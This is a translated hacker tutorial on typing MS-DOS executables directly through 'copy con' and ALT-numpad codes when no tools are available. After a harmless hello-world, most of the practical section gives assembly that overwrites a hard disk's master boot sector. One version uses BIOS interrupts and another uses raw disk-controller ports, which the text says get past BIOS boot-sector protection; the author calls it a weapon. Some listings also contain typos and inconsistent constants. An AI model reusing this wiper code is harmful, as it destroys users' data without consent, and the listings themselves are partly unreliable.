Programming in extreme conditions
在极限条件下编程(转)

by Alexey Kalmykov (aka B52)

Sunwen译
导引
什么是”极限条件”?当你坐在一台MS-DOS的机器前,这台机器里没有任何编译器,十六进 制编辑器,shell,调试器,而你又要使用这台机器来恢复丢失的数据,杀病毒,或者写一个 新的病毒.这就是一个极限编程环境.绝大多数的程序员在这台机器前面不能做任何事,绝 大多数的系统管理员想这台机器是100%安全的.但是这不能够阻挡住一个真正的黑客… 我选择纯MS-DOS来进行这次试验,因为在一些版本的Windows里有一些东西可以使这个任 务更简单(比如在Windows 98里,有一个内建了VBScript和Java Script解释器的浏览器, 你可以用它来写一个十六进制的编辑器).
这篇文章对初学者和有经验的黑客来说将会很有意思.并且,我推荐这篇文章给程序员,系 统管理员和所有想感觉真正的黑客精神的人,这种精神正在从前一代的黑客慢慢地消失.

开始
要想阅读和理解这篇文章你必须至少知道如下知识:汇编语言,在MS-DOS下工作的经验.并 且你还要有x86操作指定(你可以在Elf Qrin Hacking Labs这里找到),ASCII码表,还有一 些空余时间.
首先,我们需要某一个文本编辑器.但是系统管理员已经把所有的可以帮助我们的东西全 部给拿走了.一般的黑客和一个优秀的黑客的区别只有一点----优秀的黑客对他所从事的 工作有着非常深的研究.如果它使用DOS,他将知道有关于DOS的任何事.有一个未公开的功 能可以用来打开一个微型的文本编辑器,但是这已经足够了.输入如下DOS命令:

C:\copy con test.com


哈,你将运行这一个文本编辑器.这就是我们的工具.但是我们仍然不知道如何去写二进制 ..
如果你看一下官方的MS-DOS手册,你将找到答案.使用ATL键和数字键盘你可以建立二进制 数.
首先检查一下NUMlock指示灯是不是亮的.现在按住ALT,打入195,然后释放ALT,保存文件 (按CTRL-Z,然后按enter键).现在运行它.
它不做任何事但也不会挂起系统.如果你反汇编它,你就会发现test.com这个文件只有一 个指定,它就是RETN.可能你已经发现了,RETN指令码是0xC3,十进制就是195. 进阶
哈哈,这非常简单.现在让我们打入以下的东西:


ALT-180 ALT-09 ALT-186 ALT-09 ALT-01 ALT-205 ! ALT-195 ALT 32 Hi,world!$

然后按CTRL-Z然后按enter键.很显然,这个程序段将会打印出"Hi,world!".好,让我们来 反汇编它:

49E0:0100                       start:
49E0:0100  B4 09                                mov     ah,9
49E0:0102  BA 0109                              mov     dx,offset data_1        ;
(49E0:0109='Hi !!!!')
49E0:0105  CD 21                                int     21h                     ; DOS Services ah=function 09h
                                                                                ; display char string at ds:dx
49E0:0107  C3                                   retn
49E0:0108  20                                   db      20h
49E0:0109  48 69 20 21 21 21    data_1          db      'Hi,world!$;  xref 49E0:0102


我希望你知道在机器字中的反序(ALT-09 ALT-01 = 109),为了显示这种方法的漂亮之处 ,我使用’!’符号==0x21去访问0x21中断.所以懂得ASCII码可以使你的生活变得更简单 .但是为什么我们需要在49E0:0108这个位置上的符号呢(20h == ALT-32 == " ")? 这是我们使用这个方法的主要问题所在.使用ALT和数字键盘我们不能打入一些符号.下面 是一个清单:

         0,3,6,8,16(0x10),19(0x13),27(0x1b),255(0xFF)


你必须避免这些符号.如果你看一下代码,你将发现真正的偏移量在0x108.在加上这个符 号后,偏移量变成了0x109.实际上有一个更文雅的方法:

       mov    dx,109
       dec    sx
这两个变量是相等的,你可以使用适合你的方法.
一个重要的总是是找到变量和标号(labels)的偏移量.你可以把这个程序写在纸上,把变 量命名,当程序写好后,你就可以很容易地找到需要的偏移量和地址了.
另一个方法是在使用前将所有的变量声明:

       mov      ah,9
       jmp      sort $+20
       db       'Hi,world!'$
       mov      dx,0x100+2+2; 0x100 - the base adress,2 - lengh of
                            ; mov  ah,9, 2 - lengh of jmp


Jmp short $+20,为串保存20个字节.这个方法同样用于标号(labels). 例子
我想你已经厌倦了这些理论的程序并且已经准备好了实践.作为说明我们将尝试去擦除启 动扇区.注意!使用这个程序去摧毁所有的数据是犯罪.你只能够将这个方法用于试验.
首先,让我们在汇编器中写入以下程序:

B80103   mov   ax,00301
B90100   mov   cx,00001
BA8000   mov   dx,00080
CD13     int   013
C3       retn


你看,你在这个程序中用到了0,3,19,这些是不能用ALT来进行输入的.让我们来修改这个 程序来避免它:

         xor ax,ax
         mov ds,ax
         mov   ax,00299
         inc   ax
         inc   ax
         xor   cx,cx
         inc   cx
         mov   dl,80
         mov bx,13h*4
         pushf
         cli
         push cs
         call dword ptr [bx]
         retn


这是一个很难的例子.汇编程序设计和中断不是这篇文章的真正主题.我只能建议你去参 考Internet上的其它资料.
好了,把这些代码输入到准备牺牲的机器里,你已经有了有力的武器.我建议你要非常小心 地使用它.
幸运地(或者是不幸运地,这取决于读者的意图),在BIOS里有一个引导区写保护(有时它称 为”病毒警告”)它将阻止所有的对主引导扇区的改动.还有,还可以安装特别的软件.比 如说,在Windows 98下运行这个程序将没有任何效果.但是我们仍然可以在底层使用硬盘 I/O端口.
下面是一个通过硬盘I/O端口来擦除主引导扇区的程序:

         mov dx, 1F2h
         mov al,1
         out dx,al
         inc dx
         out dx,al
         inc dx
         xor ax,ax
         out dx,al
         inc dx
         out dx,al
         mov al, 10100000b
         inc dx
         out dx,al
         inc dx
         mov al,30h
         out dx,al
         lea si, Buffer
         mov dx, 1F0h
         mov cx, 513
         rep outsw


我不知道有什么保护可以跟踪并阻止这个程序.然而,这并不包括Windows NT,这个OS不允 许任何没有权限的程序去访问端口,甚至它将关闭应用程序窗口.
准备这个例子,并用ALT来输入,然后优化它的大小,这个就留给读者去做吧.
结束语
这并不简单.所有的一切需要经验和才,但是它给了你难以置信的能力去操纵机器.我不希 望你使用这些能力去搞破坏,而且我希望这篇文章将是”回到真实的黑客精神”的一步.